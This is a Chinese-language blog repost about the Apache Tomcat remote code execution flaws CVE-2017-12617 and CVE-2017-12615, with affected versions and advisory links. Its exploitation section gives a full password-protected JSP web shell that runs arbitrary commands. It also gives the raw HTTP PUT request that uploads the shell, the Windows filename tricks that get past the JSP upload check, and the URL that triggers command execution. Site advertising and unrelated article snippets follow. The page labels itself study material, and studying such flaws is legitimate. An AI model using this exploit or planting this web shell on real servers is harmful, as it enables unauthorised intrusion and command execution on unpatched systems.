CVE-2017-12617 Tomcat 远程代码执行

摘要:
8.0.47和7.0.82之前的所有Tomcat版本在所有操作系统上都包含潜在危险的远程代码执行(RCE)漏洞,允许任何未经身份验证的用户上载文件(如WebDAV中使用的)。因此,大多数公开的系统不会将只读设置为false,因此不会受到影响。信息泄漏漏洞当在Tomcat中使用VirtualDirContext时,当Tomcat在Windows主机上运行时,会发生远程代码执行漏洞。

0×00前情提要

Apache Tomcat团队10月3日宣布,如果配置了默认servlet,则在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操作系统上的潜在危险的远程执行代码(RCE)漏洞,CVE-2017-12617:远程代码执行漏洞。

只需参数readonly设置为false或者使用参数readonly设置启用WebDAV servlet false。此配置将允许任何未经身份验证的用户上传文件(如WebDAV中所使用的)。发现并阻止上传JavaServer Pages(.jsp)的过滤器可以避免这个问题。所以只要JSP可以上传,然后就可以在服务器上执行。

现在,由于此功能通常不需要,所以大多数公开曝光的系统将不会readonly设置false并因此不受影响。

在WindowsCVE-2017-12615的 Tomcat 7中,类似的漏洞被修复后,前几天又发现了这个安全问题(CVE-2017-12617)。

2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定条件下,攻击者可以利用这两个漏洞,获取用户服务器上 JSP 文件的源代码,或是通过精心构造的攻击请求,向用户服务器上传恶意JSP文件,通过上传的 JSP 文件 ,可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险。

CVE-2017-12616:信息泄露漏洞

当 Tomcat 中使用了 VirtualDirContext 时,攻击者将能通过发送精心构造的恶意请求,绕过设置的相关安全限制,或是获取到由VirtualDirContext 提供支持资源的 JSP 源代码。

CVE-2017-12615:远程代码执行漏洞

当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。

通过以上两个漏洞可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险。

影响版本:

CVE-2017-12617影响范围:Apache Tomcat 7.0.07.0.81
CVE-2017-12616影响范围:Apache Tomcat 7.0.07.0.80
CVE-2017-12615影响范围: Apache Tomcat 7.0.07.0.79

参考链接:
CVE-2017-12615:

https://tomcat.apache.org/security-7.html
http://tomcat.apache.org/securit… pache_Tomcat_7.0.81

CVE-2017-12617

http://tomcat.apache.org/security-7.html
http://tomcat.apache.org/security-8.html
http://tomcat.apache.org/security-9.html

0×01漏洞利用

该公开描述的利用是作为发送特殊特制HTTP,使用PUT作为有效载荷用JSP请求到Tomcat服务器。

然后,当通过HTTP客户端(例如Web浏览器)访问新上传的JSP时,执行代码。

web.xml 配置文件,增加 readonly 设置为 false ,一定要记得重启下tomcat服务。

CVE-2017-12617 Tomcat 远程代码执行第1张

 然后使用burpsuite抓包把GET方法转为PUT方法,后面加test.jsp文件的内容然后发送

POC如下:

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
<%!public static String excuteCmd(String c) 
{
    StringBuilder line = new StringBuilder();
try 
{
    Process pro = Runtime.getRuntime().exec(c);
    BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
    String temp = null;
    while ((temp = buf.readLine()) != null) 
    {
        line.append(temp+"\n");
    }
    buf.close();
} 
catch (Exception e) 
{
    line.append(e.getMessage());
}
return line.toString();
}
%>
<%
if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd")))
{
    out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");
}
else
{
    out.println(":-)");
}
%>

注意:PUT路径要用/结束,写入成功后,会返回201或者200,如果返回404说明没有写/。

不能直接put jsp或者jspx文件的,在windows下可以用test.jsp/、test.jsp/.、test.jsp::$DATA来绕过

经过测试,最新版apache-tomcat-7.0.81可以用test.jsp/、test.jsp/.来绕过

PUT /test.jsp/ HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 25

<%out.println("test");%>

访问http://127.0.0.1:8080/test.jsp 页面会出现test这个字符串

写入成功后,在服务器的 web目录,如下:

写入成功后,在服务器的 web目录,如下

Apache SoftwareFoundationTomcat 7.0webappsROOT增加了test.jsp文件

访问上传的文件 http://127.0.0.1:8080/test.jsp?pwd=023&cmd=ipconfig

免责声明:文章转载自《CVE-2017-12617 Tomcat 远程代码执行》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇Redis——哨兵(sentinel)delete、truncate、drop下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

python 安装新的模块

一、方法1: 单文件模块直接把文件拷贝到 $python_dir/Lib 二、方法2: 多文件模块,带setup.py 下载模块包,进行解压,进入模块文件夹,执行:python setup.py install 三、 方法3:easy_install 方式  先下载ez_setup.py,运行python ez_setup 进行easy_install工具...

git提交时忽略了dll

问题说明 突然出现torisegit会自动忽略*.dll文件不会提交,比如:CSharp.dll。 ​ 问题原因 原因是由于安装了Sourcetree,受到了其环境变量的影响。 ​ Windows系统解决方法 解决方法如下: 打开 Sourcetree -> 工具 ->选项->Git,找到全局忽略列表,点击右侧编辑文件,找到*.dll,删...

log4j简介及应用

一、介绍  Log4j是Apache的一个开放源代码项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件、甚至是套接口服务 器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。 Log4j由三个重要的组件构成:日志信息...

Golang 编译打包-构建集成

golang编译方式一般分为两种,一种是源码编译,另外一个是交叉编译 1.源码编译 这种方式需要在机器上安装相应的go sdk,可以参考环境部署相关的文章,这里不再叙述;我们只需要把项目代码copy到相应的机器上,然后再项目目录中,执行命令:go build ./main.go -o outdir,编译速度非常快,接着在outdir文件中即可看到编译后的二...

富文本编辑器-Ueditor

    富文本编辑器,Rich Text Editor, 简称 RTE, 它提供类似于 Microsoft Word 的编辑功能,容易被不会编写 HTML 的用户并需要设置各种文本格式的用户所喜爱。它的应用也越来越广泛。最先只有 IE 浏览器支持,其它浏览器相继跟进,在功能的丰富性来说,还是 IE 强些。虽然没有一个统一的标准,但对于最基本的功能,各浏览器提...

Django之Session与JWT比较

Session与JWT比较 目录 1.Session介绍 1.1session使用原理 1.2session使用的缺点 1.3常用解决session方法 2.JWT介绍 2.1jwt原则 2.2JWT的数据结构 2.3jwt核心 2.4jwt特点分析 1.Session介绍 1.1session使用原理 session是储存在服...